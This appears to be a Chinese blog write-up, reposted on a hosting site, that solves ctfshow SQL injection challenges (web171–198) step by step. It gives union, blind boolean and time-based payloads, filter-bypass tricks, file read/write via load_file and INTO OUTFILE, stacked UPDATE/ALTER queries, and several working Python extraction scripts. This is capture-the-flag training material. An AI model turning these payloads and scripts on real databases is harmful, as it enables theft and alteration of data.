溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

php中常見sql注入類型有哪些

發(fā)布時(shí)間:2021-10-18 15:44:39 來源:億速云 閱讀:247 作者:柒染 欄目:網(wǎng)絡(luò)管理

php中常見sql注入類型有哪些,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。

一、無過濾注入

web171~union聯(lián)合注入

//拼接sql語句查找指定ID用戶
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接開始

1'--+

成功會(huì)先 id為1的用戶密碼。

1' order by 3--+

1,2,3處都有回顯

-1' union select 1,2,3--+

爆出庫名 ctfshow_web

-1' union select 1,2,database()--+

爆出表名 ctfshow_user

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

爆出列名 id,username,password

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' and table_schema=database()--+

爆出字段內(nèi)容

1adminadmin~,2user1111~,3user2222~,4userAUTOpasswordAUTO~,5userAUTOpasswordAUTO~,6userAUTOpasswordAUTO~,7userAUTOpasswordAUTO~,8userAUTOpasswordAUTO~,9userAUTOpasswordAUTO~,10userAUTOpasswordAUTO~,11userAUTOpasswordAUTO~,12userAUTOpasswordAUTO~,13userAUTOpasswordAUTO~,14userAUTOpasswordAUTO~,15userAUTOpasswordAUTO~,16userAUTOpasswordAUTO~,17userAUTOpasswordAUTO~,18userAUTOpasswordAUTO~,19userAUTOpasswordAUTO~,20userAUTOpasswordAUTO~,21userAUTOpasswordAUTO~,22userAUTOpasswordAUTO~,23userAUTOpasswordAUTO~,24userAUTOpasswordAUTO~,26flagflag{90be1d62-6fab-41d6-aa43-c7d5a1c90ab7}~
-1' union select 1,2,group_concat(id,username,password,0x7e) from ctfshow_user--+

還可以直接抓包找到 api,直接爆出

http://96977979-97ee-410a-8c0f-bd0b2883bd95.chall.ctf.show/api/?id=1'or1--+&page=1&limit=10

web172

流程就不來了,

直接

-1' union select 1,group_concat(username,password) from ctfshow_user2--+

web173~hex編碼

查詢語句

//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回邏輯
//檢查結(jié)果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查詢成功';
}

過濾了返回字符串不能含有 flag,

那我們就將他十六進(jìn)制編碼即可。

-1' union select 1,2,hex(group_concat(username,password)) from ctfshow_user3--+

web174~py腳本布爾盲注

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回邏輯

//檢查結(jié)果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查詢成功';
}


無回顯,只好盲注了,

1' and ascii(substr((select password from ctfshow_user4 where username ='flag'),1,1))=2--+

驗(yàn)證了成功可以盲注,第一位ascii是102,也就是f

php中常見sql注入類型有哪些

寫個(gè)腳本。

# @Author:yanmie

import requests

url = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and "

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
}

i=0
j=1
result = ""

while True:
    i = i + 1
    payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{j},1)) = {i}--+"
    #print(i,j)
    payload = payload.format(j=j,i=i)
    # print(payload)
    response = requests.get(url = url+payload,headers = headers)
    if "admin" in response.text:
        result += chr(i)
        print(result)
        i = 0
        j = j+1

    if i == 128:
        break

print(result)

好家伙,自增腳本結(jié)果也是廢了一小段時(shí)間才跑出來。

那就再寫一個(gè)二分法腳本:

# @Author:yanmie

import requests

url = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and "

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
}

i = 0
result = ""

while True:
    head = 0
    tail = 127
    i += 1

    while head<tail:
        mid = (head+tail)//2   # 除以2取整
        payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{i},1))>{mid}--+"
        payload  = payload.format(i=i,mid=mid)
        # print(url+payload)
        response = requests.get(url=url+payload,headers=headers)
        # print(response.text)
        if "admin" in response.text:
            head = mid+1
        else:
            tail = mid

    if head == 32:
        break
    result += chr(head)
    print(result)

print(result)

結(jié)果快多了。

web175~py腳本時(shí)間盲注,寫文件

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回邏輯

//檢查結(jié)果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查詢成功';
}


[\x00-\x7f]/i匹配了基本 ascii 碼值。也就是說基本頁面不會(huì)回顯數(shù)據(jù)庫里的數(shù)據(jù)。

只會(huì)回顯

{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":1,"data":[]}

嘗試間件盲注1' and sleep(5)--+成功。

if 函數(shù)if(a,b,c), if判斷,如果為真,返回b,否則返回c

繼續(xù)寫腳本

# @Author: yanmie

import requests
import time

url = "http://e1c35db2-f1de-4e77-8ae9-f7739465a81d.chall.ctf.show/api/v5.php?id=1' and "
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
}

i = 0

result = ""
while True:
    i += 1
    for j in range(0,127):
        j += 1
        payload = "if((ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1)))={j},sleep(5),0)--+".format(i=i,j=j)
        start_time = time.time()
        response = requests.get(url=url+payload,headers=headers)
        end_time = time.time()
        print(i,j)
        if end_time-start_time>5:
            result += chr(j)
            break

    print(result)
    if '}' in result:
        break

可是這個(gè)腳本耗費(fèi)時(shí)間太長了,42*5 秒 多。

另一種解法:

把 flag 內(nèi)容寫入 文件

1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+

二、過濾注入

web176~大小寫繞過

·查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回邏輯

//對(duì)傳入的參數(shù)進(jìn)行了過濾
function waf($str){
//代碼過于簡單,不宜展示
}


萬能密碼:

1' or 1--+

在表中 flag 直接回顯

還可以大小寫繞過:

-1' UnION sELect 1,2,3--+

-1' UnION sELect id,username,password from ctfshow_user where username='flag'--+

web177~/**/繞過空格

反復(fù)測試,過濾了空格。

1'--+這個(gè)不可以 ,1'%23可以。

過濾空格可以使用/**/繞過

1'/**/or/**/1%23

1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

1'/**/union/**/select/**/id,username,password/**/from`ctfshow_user`where`username`='flag'%23

表名,列名可以用反引號(hào)。

web178~%09繞過空格

過濾了空格和*

可以用tab代替空格,也就是%09

1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username='flag'%23

一把梭

1'or'1'%23

web179~%0c繞過空格

經(jīng)測試,過濾了空格、%09、/**/

可以用%0c繞過。

1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

還可以一把梭

1'or'1'%23

web180-182~直接查id

把所有能用的空格都過濾了。

換其他姿勢,直接查 id

-1'or(id=26)and'1

web183~where正則匹配

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select count(pass) from ".$_POST['tableName'].";";

返回邏輯

//對(duì)傳入的參數(shù)進(jìn)行了過濾
function waf($str){
return preg_match('/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i', $str);
}

查詢結(jié)果

//返回用戶表的記錄總數(shù)
$user_count = 0;


需要我們post傳入?yún)?shù)tableName

當(dāng)傳入tableName=ctfshow_user時(shí),有變化

$user_count = 22;

說明有 22 行數(shù)據(jù)。

這里吧等于號(hào)過濾了,所以利用正則。

不能有空格,不能有 *

tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('f'))

成功利用 where 條件匹配到 f

寫個(gè)腳本

# @Author: yanmie

import requests

url = "http://cd6b047c-93a9-41e2-b3e2-ab58d7328aea.chall.ctf.show/select-waf.php"
payload = "`ctfshow_user`where(substr(`pass`,{},1)regexp('{}'))"
str = "flag{abcdefghijklmnopqrstuvwxyz0123456789-}"
i = 0
flag = ""
while True:
    i += 1
    for j in str:
        data = {
            "tableName":payload.format(i,j)
        }
        response = requests.post(url=url,data=data)

        if "user_count = 1;" in response.text:
            # print(response.text)
            # print(j)
            flag += j
            break
    print(flag)
    if '}' in flag:
        break

web184~right join...on注入過字母

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select count(*) from ".$_POST['tableName'].";";

返回邏輯

//對(duì)傳入的參數(shù)進(jìn)行了過濾
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}

查詢結(jié)果

//返回用戶表的記錄總數(shù)
$user_count = 0;




過濾了where、雙引號(hào)、單引號(hào)

使用 right join
RIGHT JOIN 關(guān)鍵字從右表(table2)返回所有的行,即使左表(table1)中沒有匹配。如果左表中沒有匹配,則結(jié)果為 NULL。

on 條件是在生成臨時(shí)表時(shí)使用的條件,它不管 ON 中的條件是否為真,都會(huì)返回左邊表中的記錄;

傳參

tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(chr(102)))

得到

$user_count = 43;

說明可以進(jìn)行這樣的注入。

寫個(gè)腳本:

import requests

url = "http://57dc38dc-6d61-491f-8ca1-6c199e3256be.chall.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))"
i = 5
flag ="flag{"

while True:
    i += 1
    for j in range(127):
        data = {
            "tableName":payload.format(i,j)
        }
        response = requests.post(url=url,data = data)
        if "user_count = 43;" in response.text:
            if chr(j) != ".":
                flag += chr(j)
                break;

    print(flag.lower())

web185~true繞過數(shù)字

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select count(*) from ".$_POST['tableName'].";";

返回邏輯

//對(duì)傳入的參數(shù)進(jìn)行了過濾
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}

查詢結(jié)果

//返回用戶表的記錄總數(shù)
$user_count = 0;


多過濾了數(shù)字。

sql語句中 true 即為 1 ,true+true=2,寫個(gè)腳本

# @Author: yanmie

import requests

url = "http://dfd3af46-a52f-48ad-a9de-077c38c0597a.chall.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))"
i =5
flag = "flag{"

def createNum(n):
    num = 'true'
    if num == 1:
        return 'true'
    else:
        for i in range(n-1):
            num += '+true'
        return num;

while True:
    i += 1
    for j in range(127):
        data ={
            "tableName":payload.format(createNum(i),createNum(1),createNum(j))
        }
        response = requests.post(url=url,data=data)
        # print(i,j,data)
        # print(response.text)
        # if response.text.find("$user_count = 43;") > 0:
        if "$user_count = 43;" in response.text:
            if chr(j) != ".":
                flag += chr(j)
                break;

    print(flag.lower())
    if chr(j) == '}':
        break

web186

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select count(*) from ".$_POST['tableName'].";";

返回邏輯

//對(duì)傳入的參數(shù)進(jìn)行了過濾
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|%|<|>|^|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}

查詢結(jié)果

//返回用戶表的記錄總數(shù)
$user_count = 0;


直接拿上題的腳本就可以

# @Author: yanmie

import requests

url = "http://f9cb7903-66ce-445d-874a-b54de32dd8da.chall.ctf.show/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))"
i =5
flag = "flag{"

def createNum(n):
    num = 'true'
    if num == 1:
        return 'true'
    else:
        for i in range(n-1):
            num += '+true'
        return num;

while True:
    i += 1
    for j in range(127):
        data ={
            "tableName":payload.format(createNum(i),createNum(1),createNum(j))
        }
        response = requests.post(url=url,data=data)
        if "$user_count = 43;" in response.text:
            if chr(j) != ".":
                flag += chr(j)
                break;

    print(flag.lower())
    if chr(j) == '}':
        break

web187~md5 sql注入

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

返回邏輯

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以獲得flag
if($username!='admin'){
$ret['msg']='用戶名不存在';
die(json_encode($ret));
}

md5()函數(shù)有兩個(gè)參數(shù),一個(gè)是要加密的字符串,另一個(gè)是輸出格式,

可選。規(guī)定十六進(jìn)制或二進(jìn)制輸出格式:

TRUE - 原始 16 字符二進(jìn)制格式
FALSE - 默認(rèn)。32 字符十六進(jìn)制數(shù)

但是組成查詢語句的時(shí)候這個(gè)hex會(huì)被轉(zhuǎn)成字符串,如果轉(zhuǎn)換之后的字符串包含'or',就會(huì)和原查詢語句一起組成.

也就是說將密碼轉(zhuǎn)換成16進(jìn)制的hex值以后,再將其轉(zhuǎn)換成字符串后包含’ ‘or ’ xxx 。

提供一個(gè)字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再轉(zhuǎn)成字符串:'or'6<其他字符>

php中常見sql注入類型有哪些

web188~where邏輯條件

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select pass from ctfshow_user where username = {$username}";

返回邏輯

//用戶名檢測
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|(|)|'|"/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}

//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數(shù)字';
die(json_encode($ret));
}

//密碼判斷
if($row['pass']==intval($password)){
$ret['msg']='登陸成功';
array_push($ret['data'], array('flag'=>$flag));
}

這里限制密碼只能為數(shù)字,但是這里是弱比較,0==admin

用戶名處也正則限制了很多,但還是有很多姿勢。

select * from users where first_name=0; 
select * from users where first_name=1<1; 
select * from users where first_name=1=0;

可以查詢出所有數(shù)據(jù),為什么呢?邏輯結(jié)構(gòu),首先first_name=1為假也就是0 ,然后0<1就為真,所以可以查。

這樣也可以,反引號(hào)列名

select * from users where first_name=`first_name`;

所以此題payload

0/0
1<1/0
0=0/0

web189~locate定位函數(shù)

提示:

flag在api/index.php文件中

訪問http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php

有兩種狀態(tài),查詢失敗和密碼錯(cuò)誤。

利用這兩種狀態(tài)來讀取文件判斷flag具體在哪個(gè)位置。

MySQL定位函數(shù)

INSTR(str,substr)–> 返回字符串 str 中子字符串的第一個(gè)出現(xiàn)位置,否則為0

FIND_IN_SET(str,strlist)–> 返回字符串 str 中子字符串的第一個(gè)出現(xiàn)位置,否則為0

LOCATE(substr,str,pos)–> 返回字符串 str中子字符串substr的第一個(gè)出現(xiàn)位置, 起始位置在pos。如若substr 不在str中,則返回值為0

POSITION(substr IN str)–> 返回子串 substr 在字符串 str 中第一次出現(xiàn)的位置。如果子串 substr 在 str 中不存在,返回值為 0

構(gòu)造payload:

username=username=if(locate("flag{",load_file('/var/www/html/api/index.php'))>0,0,1)&password=1

頁面返回

{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}

說明文件中確實(shí)存在flag.

寫個(gè)腳本:

思路:先得到flag所在位置,然后從此位置開始使用二分法得到每位字符拼接成flag。

# @Author: yanmie

import requests

url = "http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php"



def getFlagPos():
    payload = "if(locate('flag{',load_file('/var/www/html/api/index.php'))>%d,0,1)"
    head = 0
    tail = 1000
    while head<tail:
        mid = (head+tail)//2
        data = {
            "username":payload%mid,
            "password":1,
        }
        response = requests.post(url=url,data=data)
        if "密碼錯(cuò)誤" == response.json()['msg']:
            head = mid+1
        else:
            tail = mid
    return mid

def getFlag(num):
    payload = "if(ascii(substr((load_file('/var/www/html/api/index.php')),{},1))>{},0,1)"
    flag =""
    while True:
        head = 0
        tail = 127
        num += 1
        while head<tail:
            mid = (head+tail)//2
            data = {
                "username" : payload.format(num,mid),
                "password" : 1,
            }
            response = requests.post(url=url,data=data)
            if "密碼錯(cuò)誤" == response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        flag += chr(head)
        print(flag)
        if "}" in flag:
            break
    return flag




if "__main__" == __name__:
    pos = getFlagPos()
    # 得到 flag{ 在文件中的位置
    print(pos)
    flag = getFlag(pos)
    print("[+] the flag is : ",flag)

三、布爾盲注

web190~py腳本布爾盲注

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select pass from ctfshow_user where username = '{$username}'";

返回邏輯

//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數(shù)字';
die(json_encode($ret));
}

//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}

//TODO:感覺少了個(gè)啥,奇怪

如果瞎輸入用戶名,會(huì)提示用戶名不存在,

但是如果輸入1'or'1'='1就會(huì)提示密碼錯(cuò)誤存在布爾注入.

找到api開始

http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/

寫個(gè)腳本

# Author: yanmie

import requests

url = "http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/"


# 查詢當(dāng)前數(shù)據(jù)庫
def getDatabase():
    payload = "0'or(ascii(substr(database(),{},1))>{})='1"
    i = 0
    database = ""

    while True:
        i +=1
        head = 0
        tail = 127
        while head<tail:
            mid = (head+tail)//2
            data = {
                "username" : payload.format(i,mid),
                "password" : 0
            }
            response = requests.post(url=url,data=data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head == 0:
            return database
        database += chr(head)

# 查詢所有表名
def getTable():
    payload = "0'or(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})='1"
    i = 0
    table_name = ""
    while True:
        i += 1
        head = 0
        tail = 127
        while head<tail:
            mid = (head+tail)//2
            data = {
                "username" : payload.format(i,mid),
                "password" : 0,
            }
            response = requests.post(url=url,data=data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head == 0:
            return table_name
        table_name += chr(head)

# 查詢 ctfshow_fl0g 表中的所有列名
def getColumn():
    payload = "0'or(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{})='1"
    i = 0
    column_name = ""
    while True:
        i += 1
        head = 0
        tail = 127
        while head < tail:
            mid = (head + tail) // 2
            data = {
                "username": payload.format(i, mid),
                "password": 0,
            }
            response = requests.post(url=url, data=data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head == 0:
            return column_name
        column_name += chr(head)

# 查詢字段中內(nèi)容
def get_dump():
    payload = "0'or(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})='1"
    i = 0
    dump = ""
    while True:
        i += 1
        head = 0
        tail = 127
        while head < tail:
            mid = (head + tail) // 2
            data = {
                "username": payload.format(i, mid),
                "password": 0,
            }
            response = requests.post(url=url, data=data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head == 0:
            return dump
        dump += chr(head)

if "__main__" == __name__:
    database = getDatabase()
    print("[+]the database is: ",database)     # 得到 ctfshow_web
    table_name = getTable()
    print("[+]the table_names are: ",table_name)   # 得到  ctfshow_fl0g,ctfshow_user
    column_name = getColumn()
    print("[+]the column_name are: ", column_name)   # 得到 id,f1ag
    dump = get_dump()
    print("[+]the flag is :",dump)

web191~ord代替ascii

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select pass from ctfshow_user where username = '{$username}'";

返回邏輯

//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數(shù)字';
die(json_encode($ret));
}

//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}

//TODO:感覺少了個(gè)啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}

過濾了ascii,所以不能使用上題的方式了。

可以使用ord代替ascii。

ord(str) 如果字符串str的最左邊的字符是一個(gè)多字節(jié)字符返回該字符,用這個(gè)公式其組成字節(jié)的數(shù)值計(jì)算的代碼,如果最左邊的字符不是一個(gè)多字節(jié)字符,ORD()返回相同的值如ASCII()函數(shù)。
select ord('a');則返回 a 的 ascii 碼值。

那么只需更改一下上官的腳本就可以直接拿到flag了。

# Author: yanmie

import requests

url = "http://5f86e6f7-cc18-49ae-8d60-b7184fde02d2.chall.ctf.show/api/"


# 查詢當(dāng)前數(shù)據(jù)庫
def getDatabase():
    payload = "0'or(ord(substr(database(),{},1))>{})='1"
    i = 0
    database = ""

    while True:
        i +=1
        head = 0
        tail = 127
        while head<tail:
            mid = (head+tail)//2
            data = {
                "username" : payload.format(i,mid),
                "password" : 0
            }
            response = requests.post(url=url,data=data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head == 0:
            return database
        database += chr(head)

# 查詢所有表名
def getTable():
    payload = "0'or(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})='1"
    i = 0
    table_name = ""
    while True:
        i += 1
        head = 0
        tail = 127
        while head<tail:
            mid = (head+tail)//2
            data = {
                "username" : payload.format(i,mid),
                "password" : 0,
            }
            response = requests.post(url=url,data=data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head == 0:
            return table_name
        table_name += chr(head)

# 查詢 ctfshow_fl0g 表中的所有列名
def getColumn():
    payload = "0'or(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{})='1"
    i = 0
    column_name = ""
    while True:
        i += 1
        head = 0
        tail = 127
        while head < tail:
            mid = (head + tail) // 2
            data = {
                "username": payload.format(i, mid),
                "password": 0,
            }
            response = requests.post(url=url, data=data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head == 0:
            return column_name
        column_name += chr(head)

# 查詢字段中內(nèi)容
def get_dump():
    payload = "0'or(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})='1"
    i = 0
    dump = ""
    while True:
        i += 1
        head = 0
        tail = 127
        while head < tail:
            mid = (head + tail) // 2
            data = {
                "username": payload.format(i, mid),
                "password": 0,
            }
            response = requests.post(url=url, data=data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head == 0:
            return dump
        dump += chr(head)

if "__main__" == __name__:
    database = getDatabase()
    print("[+]the database is: ",database)     # 得到 ctfshow_web
    table_name = getTable()
    print("[+]the table_names are: ",table_name)   # 得到  ctfshow_fl0g,ctfshow_user
    column_name = getColumn()
    print("[+]the column_name are: ", column_name)   # 得到 id,f1ag
    dump = get_dump()
    print("[+]the flag is :",dump)

web192~regexp正則布爾盲注

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select pass from ctfshow_user where username = '{$username}'";

返回邏輯

//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數(shù)字';
die(json_encode($ret));
}

//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}

//TODO:感覺少了個(gè)啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}

又增加過濾了ord、hex,根據(jù)過濾內(nèi)容,上關(guān)還可以用hex。

我們可以使用正則匹配regexp

# Author: yanmie

import requests

url = "http://59005239-92ca-42fd-ac7a-4d41b67b2e55.chall.ctf.show/api/"
flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}"

# 查詢字段中內(nèi)容
def get_dump():
    payload = "0'or((substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))regexp('{}'))='1"
    i = 0
    dump = ""
    while True:
        i += 1
        for j in flag:
            data = {
                "username": payload.format(i, j),
                "password": 0,
            }
            response = requests.post(url=url, data=data)
            # +print(i,j,data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                dump += j
                print(dump)
                if "}" in dump:
                    return dump
                break

if "__main__" == __name__:
    dump = get_dump()
    print("[+]the flag is :",dump)

web193~mid截?cái)嘧址?/h4>
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用戶名非法';
 die(json_encode($ret));

}

又把substr過濾了

但是我們可以使用mid代替。

MID 函數(shù)用于從文本字段中提取字符

寫個(gè)腳本

(哈哈哈,表名和前面的不一樣了,大半天沒跑出來。。)

# Author: yanmie

import requests

url = "http://83decdb8-6686-4d24-9a8f-1a51156a0e21.chall.ctf.show/api/"
flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_"

# 查詢字段中內(nèi)容
def get_dump():
    # payload = "0'or((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'))='1"
    # 得到 ctfshow_flxg
    # payload = "0'or((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'))='1"
    # 得到 id  f1ag
    payload = "0'or((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'))='1"
    i = 0
    dump = ""
    while True:
        i += 1
        for j in flag:
            data = {
                "username": payload.format(i, j),
                "password": 0,
            }
            response = requests.post(url=url, data=data)
            # print(i,j,data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                dump += j
                print(dump)
                if "}" in dump:
                    return dump
                break

if "__main__" == __name__:
    dump = get_dump()
    print("[+]the flag is :",dump)

web194~locate布爾盲注

if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用戶名非法';
 die(json_encode($ret));

}

直接上題的腳本就可以跑出來。

其他方法,利用 mysql定位函數(shù)locate

# Author: yanmie

import requests

url = "[http://ad1cf08f-6278-4479-9deb-48c](http://ad1cf08f-6278-4479-9deb-48c)[3ce9449a9.chall.ctf.show/api/](http://4ce9449a9.chall.ctf.show/api/)"
flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_,"

# 查詢字段中內(nèi)容
def get_dump():
    # payload = "0'or(if((locate('{}',(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1,1,0))='1"
    # 得到 ctfshow_flxg,ctfshow_user
    # payload = "0'or(if((locate('{}',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')))=1,1,0))='1"
    # 得到 id,f1ag
    payload = "0'or(if((locate('{}',(select f1ag from ctfshow_flxg limit 0,1)))=1,1,0))='1"
    dump = ""
    while True:
        for j in flag:
            dump += j
            data = {
                "username": payload.format(dump),
                "password": 0,
            }
            response = requests.post(url=url, data=data)
            # print(j,data)
            if "密碼錯(cuò)誤" in response.json()['msg']:
                # dump += j
                print(dump)
                if "}" in dump:
                    return dump
                break
            else:
                dump = dump[:-1]


if "__main__" == __name__:
    dump = get_dump()
    print("[+]the flag is :",dump)

四、堆疊注入

web195~堆疊注入

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){

$ret['msg']='用戶名非法';
die(json_encode($ret));
}

把常見的查詢語句過濾了,所以來個(gè)堆疊update更新數(shù)據(jù)操作。

payload:

把所有密碼都更改為 1

0x61646d696e;update`ctfshow_user`set`pass`=1

用十六進(jìn)制只因?yàn)?,這里的查詢語句沒有引號(hào)包裹

$sql = "select pass from ctfshow_user where username = {$username};";

還可以把用戶名也全部跟改為1,就不用十六進(jìn)制了

1;update`ctfshow_user`set`username`=1

web196~限制長度

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){

$ret['msg']='用戶名非法';
die(json_encode($ret));
}


if(strlen($username)>16){
$ret['msg']='用戶名不能超過16個(gè)字符';
die(json_encode($ret));
}


限制了用戶名長度,十六個(gè)長度是不夠更改數(shù)據(jù)的。

但是偶然試了一下select多查一個(gè)數(shù)據(jù),結(jié)果成功登陸了。但是這里題目明明是過濾的。。。

payload:

username:    1;select(1);
pass:        1

web197-198~alert修改字段,show tables;

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){

$ret['msg']='用戶名非法';
die(json_encode($ret));
}

update不能使用了。

想插入數(shù)據(jù)但是過濾了into

現(xiàn)在沒有長度限制,沒有過濾空格,不能select、update、insert

那就只能alter了。

ALTER TABLE 語句用于在已有的表中添加、修改或刪除列。

那我們可以利用alter修改字段名,把idpass對(duì)調(diào)。

username:   0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255)
pass:       數(shù)字自增測試
# 注意用戶名第一次填 payload,之后就只填 0

